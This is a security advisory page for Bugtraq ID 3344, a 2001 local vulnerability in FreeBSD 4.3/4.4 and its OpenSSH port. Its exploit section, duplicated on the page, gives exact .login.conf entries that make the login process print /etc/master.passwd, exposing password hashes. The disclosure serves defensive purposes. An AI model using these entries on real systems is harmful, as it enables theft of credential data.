FreeBSD Login Capabilities Privileged File Reading Vulnerability
BID:3344
Info
FreeBSD Login Capabilities Privileged File Reading Vulnerability
| Bugtraq ID: | 3344 |
| Class: | Environment Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Sep 17 2001 12:00AM |
| Updated: | Sep 17 2001 12:00AM |
| Credit: | This vulnerability was announced by Przemyslaw Frasunek <[email protected]> via the securesoftware mailing list. |
| Vulnerable: |
OpenBSD OpenSSH (FreeBSD Port) 2.9 p2 FreeBSD FreeBSD 4.4 FreeBSD FreeBSD 4.3 |
| Not Vulnerable: | |
Discussion
FreeBSD Login Capabilities Privileged File Reading Vulnerability
FreeBSD is a freely available, open source implementation of the BSD UNIX Operating System. It is developed and maintained by the FreeBSD Project.
It is possible for a user with access to a system via SSH to gain access to privileged information. This problem is caused by a mixture of problems with login capabilities, the FreeBSD OpenSSH port not dropping privileges during part of the login process, and login not dropping privileges at the correct time. A user could make a malicious entry in the .login.conf file in their home directoy, and read files such as the master.passwd file and gain access to encrypted passwords on the system.
This issue does not appear to affect other BSD distributions.
FreeBSD is a freely available, open source implementation of the BSD UNIX Operating System. It is developed and maintained by the FreeBSD Project.
It is possible for a user with access to a system via SSH to gain access to privileged information. This problem is caused by a mixture of problems with login capabilities, the FreeBSD OpenSSH port not dropping privileges during part of the login process, and login not dropping privileges at the correct time. A user could make a malicious entry in the .login.conf file in their home directoy, and read files such as the master.passwd file and gain access to encrypted passwords on the system.
This issue does not appear to affect other BSD distributions.
Exploit / POC
FreeBSD Login Capabilities Privileged File Reading Vulnerability
In a .login.conf entry contained in a home directory, make the following entry if accessing the system via OpenSSH:
default: :copyright=/etc/master.passwd:
or
:welcome=/etc/master.passwd:
Otherwise, if accessing the system via login, make the following entry in a .login.conf:
default: :nologin=/etc/master.passwd:
In a .login.conf entry contained in a home directory, make the following entry if accessing the system via OpenSSH:
default: :copyright=/etc/master.passwd:
or
:welcome=/etc/master.passwd:
Otherwise, if accessing the system via login, make the following entry in a .login.conf:
default: :nologin=/etc/master.passwd:
Solution / Fix
FreeBSD Login Capabilities Privileged File Reading Vulnerability
Solution:
Patch available:
FreeBSD FreeBSD 4.4
Solution:
Patch available:
FreeBSD FreeBSD 4.4
References
FreeBSD Login Capabilities Privileged File Reading Vulnerability
References:
References: